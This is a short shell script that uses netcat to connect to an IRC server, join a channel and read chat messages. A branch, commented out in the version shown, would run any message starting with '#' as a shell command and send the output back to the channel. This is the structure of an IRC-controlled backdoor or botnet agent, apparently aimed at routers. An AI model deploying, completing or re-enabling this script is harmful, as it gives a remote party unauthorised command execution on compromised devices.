#!/bin/sh

nick="[$$]router"
channel="eaeaea"
server=irc.freenode.net
config=/tmp/irclog

[ -n "$1" ] && channel=$1
[ -n "$2" ] && server=$2

echo "NICK $nick" > $config
echo "USER lll +i $$ : " >> $config
echo "JOIN #$channel" >> $config

trap "echo 'QUIT lll'>>$config; rm -f $config;exit 0" INT TERM EXIT

tail -f $config | /tmp/nc $server 6667 | while read msg1 msg2 msg3 msg4
do
  case "$msg1" in
    PING*) echo "PONG $msg2" >> $config ;;
    *)
	case "$msg2" in
		'PRIVMSG')
			case "$msg4" in 
					':#'*)
						cmd=`echo "$msg4" | sed -e 's/:#//' | tr -d '\r'`
						case $cmd in
							*reboot*|*init*|*shutdown*|*poweroff*|*halt*|*yes*)
								## Nothing
							;;
							*)
								## eval $cmd 2>&1 | sed -e "s/^/PRIVMSG $msg3 :>> /" >> $config &
							;;
						esac
					;;
					':!raw'*)
						## cmd=`echo "$msg4" | sed -e 's/:!raw//' | tr -d '\r'`
						## echo "$cmd">>$config
					;;
					*) ;;
			esac
		;;
		*)
			## Null 
		;;
	esac
    ;;
  esac
done
